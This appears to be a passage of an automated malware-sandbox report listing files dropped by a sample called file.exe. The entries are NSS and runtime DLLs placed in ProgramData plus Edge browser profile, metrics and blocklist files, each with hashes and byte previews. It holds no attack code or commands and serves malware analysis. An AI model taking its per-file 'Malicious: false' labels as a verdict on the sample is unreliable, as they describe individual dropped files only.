SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\461c15a1-b00a-4f31-859b-d110a673cb7d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44718
Entropy (8bit):	6.087314309706955
Encrypted:	false
SSDEEP:	768:fMkbJrT8IeQc5GKzBZUXqgfbwPSba34WUPBXDeFcFn29fLdCvocQYqGwLWZkHUfi:fMk1rT8HOKifaqn29LdaoSqfyW0e6M
MD5:	3B3AD1EA4A9C2DC8E181686859284E10
SHA1:	F9E3C6AC9D6C879E0B9287110DC42F1BBD314AD9
SHA-256:	07B897B9CA17110F1AB68B0BCA9C2C5120B3FB4543D6F1BB43CC0BCB18980383
SHA-512:	D3AA8ACD1A948D104C1E1349D24F6AFBB826EA6A096AC2A633FF3B0CC954669957E699DB6FA4A2A934CFD8234FA2B05A58DD4A874220B133B8EEC97C6672349D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"88d18b6d-c594-415e-b3cc-5b374a7c6210"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732291731"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5f245ab7-d380-44f6-b378-cbe2a3127942.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44718
Entropy (8bit):	6.087288064605978
Encrypted:	false
SSDEEP:	768:fMkbJrT8IeQc5GKzBZUXqgfbwPSba3fWUPBXDeFcFn29fLdCvocQYqGwLWZkHUfi:fMk1rT8HOKifajn29LdaoSqfyW0e6M
MD5:	138434B967D41CEE2A788DFE6A9E727A
SHA1:	FA18DBC3E7297043DB1D7AE3F223452668485573
SHA-256:	079ECEC7B1F01E64BF4131DDC66C72F996AB5C3DC67196C6D9C2E63E272CAF59
SHA-512:	D5F27F637621C527B2D4927DF4863F0C4DDFFE115158F787FFDC5679680403A346074288025FED14C8BBF481E420D42C9545A8567BBB8B83C56FCEF05F0ED17E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"88d18b6d-c594-415e-b3cc-5b374a7c6210"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732291731"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\616a68c6-8dcd-4ee1-b36a-84e9b72a27ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44594
Entropy (8bit):	6.087563804912186
Encrypted:	false
SSDEEP:	768:fMkbJrT8IeQc5dKzbZUXqgfbwPSba3xWUPBXDeFcFn29fLdCvocQYqGwLWZkHUfi:fMk1rT8H1KAfaBn29LdaoSqfyW0e6M
MD5:	E14727AD97DAC10562B3675C22F4CBFD
SHA1:	CAEAEE46E88D9AF2F8240E16034757E27B5710AE
SHA-256:	3F4C2319E9DA16194F7C0387D32DFD7EDE42CF6BC6FBD04585371C105BABA4C4
SHA-512:	78FBF8DC8CD4568D0054906FE649B6F9EAE69A16EDC40C2127E8F6BAA9DD691C34A9CAAD2B9D09FBE89849DE1F135B8FFD1A2450A1E174D26FE36CA099FEF160
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"88d18b6d-c594-415e-b3cc-5b374a7c6210"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732291731"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\dba09553-eee3-4e2b-94ea-1c5c33e015b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6740AC8D-1518.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04758682572212178
Encrypted:	false
SSDEEP:	192:UC7bF0pqtmHnOAHJY1J/7qiRD80JVFg8XhiIrhkHsBzhEhNG0v+RQ8L/VDan8y0d:7F0ctM6V6uHhcRmHVDa08T2RGOD
MD5:	B1EE092377408F9F48EF3ED62437D162
SHA1:	DB9CF510FB5ADF2C69C2FC673727427EF867B0E6
SHA-256:	8A3C9302B7B8A12BADE43BFA1AAE4EBB5A67EA9059C7A6A21570F49DF7D83F74
SHA-512:	8EE0D144AF57BC8FB6B0917C4EF3A597527BCC6F71358255A9746285980D0E28000D62CDC11894C244F0C425406BB00E0C2C0F9B4F617AD88A461F5EFABEFCFD
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lavjqg20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............2..................8...w..U..G...W6.>.........."....."...24.."."GTJZX6ysgheZqBTPXcKXA+Ak8runmRph4F61XypBFRM=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z........W@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2........6..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6740AC8E-1AE0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	DIY-Thermocam raw data (Lepton 3.x), scale 0-0, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 134217728.000000, slope 75015551881388056232440365056.000000
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45644063823119063
Encrypted:	false
SSDEEP:	6144:Z/Hrvj77GkcBmeAAnb3G1JqcMdrrmDaH85:0kcwewkd
MD5:	261EB73606F18752ED209283CA53420C
SHA1:	87078F5785F603D1FD818BD42CE85E476E35640C
SHA-256:	CCB96F2823C77B17ADE2F6D71FC475C32B202F291FBC17E1485B0FE3631621BC
SHA-512:	1ECA760CC999B090EB4B8CBE44B8624EFF026F7A3F9C8A163DBCF19290D798A313D067CB328B5779DDC79D919D36C050E4A2C318EF46448DC157029036B30537
Malicious:	false
Preview:	...@..@...@.....C.].....@...............p...p...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lavjqg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............2..................8...w..U?:K...G...W6.>.........."....."...24.."."GTJZX6ysgheZqBTPXcKXA+Ak8runmRph4F61XypBFRM=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z........W@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.186405996455797
Encrypted:	false
SSDEEP:	3:FiWWltlUkzpbazHSAS219jlV/TUqjNlWBVP/Sh/Jzv6cRBAVIGGgphVE7GC/Ollt:o1U6BaYIlWBVsJD6dpPhVeGC/O/
MD5:	0D0C6A5A14BC2141201C32A1F7C87A09
SHA1:	CA25216B59523CCC5DFAFB86D4B4D265A6B1BA53
SHA-256:	78ECB5979E18356057D4F459FD12670B202B19E936991A6CCB9931429F732056
SHA-512:	A75F19DDAF31A241EA098482ECE561FC94A33322365289161BDEE95BC4B6429989B32E15CBE6C150A2254AA1388BAF85746CFA7469137F4FBD03F76F7FAF77FB
Malicious:	false
Preview:	sdPC....................i...\|.@..s..."GTJZX6ysgheZqBTPXcKXA+Ak8runmRph4F61XypBFRM="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8963f191-f8e0-42ec-8449-d20a8242b3e6............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1331cd1a-069e-4d7a-b372-93be92022af1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\56743580-66ea-4898-b492-9f5761f32198.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17421), with no line terminators
Category:	dropped
Size (bytes):	17423
Entropy (8bit):	5.4893339710347435
Encrypted:	false
SSDEEP:	384:stSLPGQSu4U9nksfHi4ghQSMVc7UgoaR/bG/tRtxQwYtk4Tj9nyJ:sOOXuR3H5CQ+bG8/9yJ
MD5:	E883A9C456438A9BB958F4931E90E0A9
SHA1:	798A811439F26B3911EFF815F86D8246910505F0
SHA-256:	8A57CCE9FAD96DCAD53E3F14CED44390AFA85E9060DB4E23184EBB7F07BB21CE
SHA-512:	48660E2295CE8764CB51CFA3CAED76DB9816BF1E169F98C0C126C07A904B7BD75D34B7A2BFDCE171BB02AE50E66F4C929D58A01EDD0FB222CAD3AC67AD65449D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\60803192-f1c0-4ea7-ac71-f193efd870ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17256), with no line terminators
Category:	dropped
Size (bytes):	17258
Entropy (8bit):	5.492714528183478
Encrypted:	false
SSDEEP:	384:stSLPGQSu4U9nksfHi4ghQSMVc7UgoaR/bG/tRtxQwYtp4U9nyJ:sOOXuR3H5CQ+bG8H9yJ
MD5:	8AC7F74E85D1A39F829308281EA41C79
SHA1:	5E21AA7C91459B7DD5A8D80937CBAFE59C1D767A
SHA-256:	82A06F6E0CDD0E306C27601DBB3E31A55748A60FDB9D6520FF263EC086056E62
SHA-512:	517EBF28536208C70E949A149BD627AD1490FF60BCDAAA18D7D49DCB03967EC93B15037C06F1864FE40FEB49EAEF44D20E02CC39C876E244FDFFA3BEBBD01CCD
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\75f9051c-2473-4d7d-928f-3aed8fd3a1f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7fe1a664-04b3-48b6-8e3a-2102f625c5cd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17421), with no line terminators
Category:	dropped
Size (bytes):	17423
Entropy (8bit):	5.489408548448799
Encrypted:	false
SSDEEP:	384:stSLPGQSu4U9nksfHi4ghQSMVc7UgoaR/bG/tRtxQwYtp4Tj9nyJ:sOOXuR3H5CQ+bG8S9yJ
MD5:	BBB47A21D8233CCD2B888847108CB202
SHA1:	F02A2D929B41BCD05890E05C189AF22088361A49
SHA-256:	8718E2835BA3A966CA1F40A6F95482DC936A9632752F02E304B42D11CC98E9C9
SHA-512:	45FE2841F9503B27FAE504B92CEB7B437EAD665B20C153C46B3C6E5A07BC3B286CF72D2E869D8FD06D191E4CE898609FC442E24ECEA3FC1F1D404DA1C183011E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376765326919082","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340975013362099","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8d40d2bf-15ce-4c85-be9e-83656c29a994.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.117919327452063
Encrypted:	false
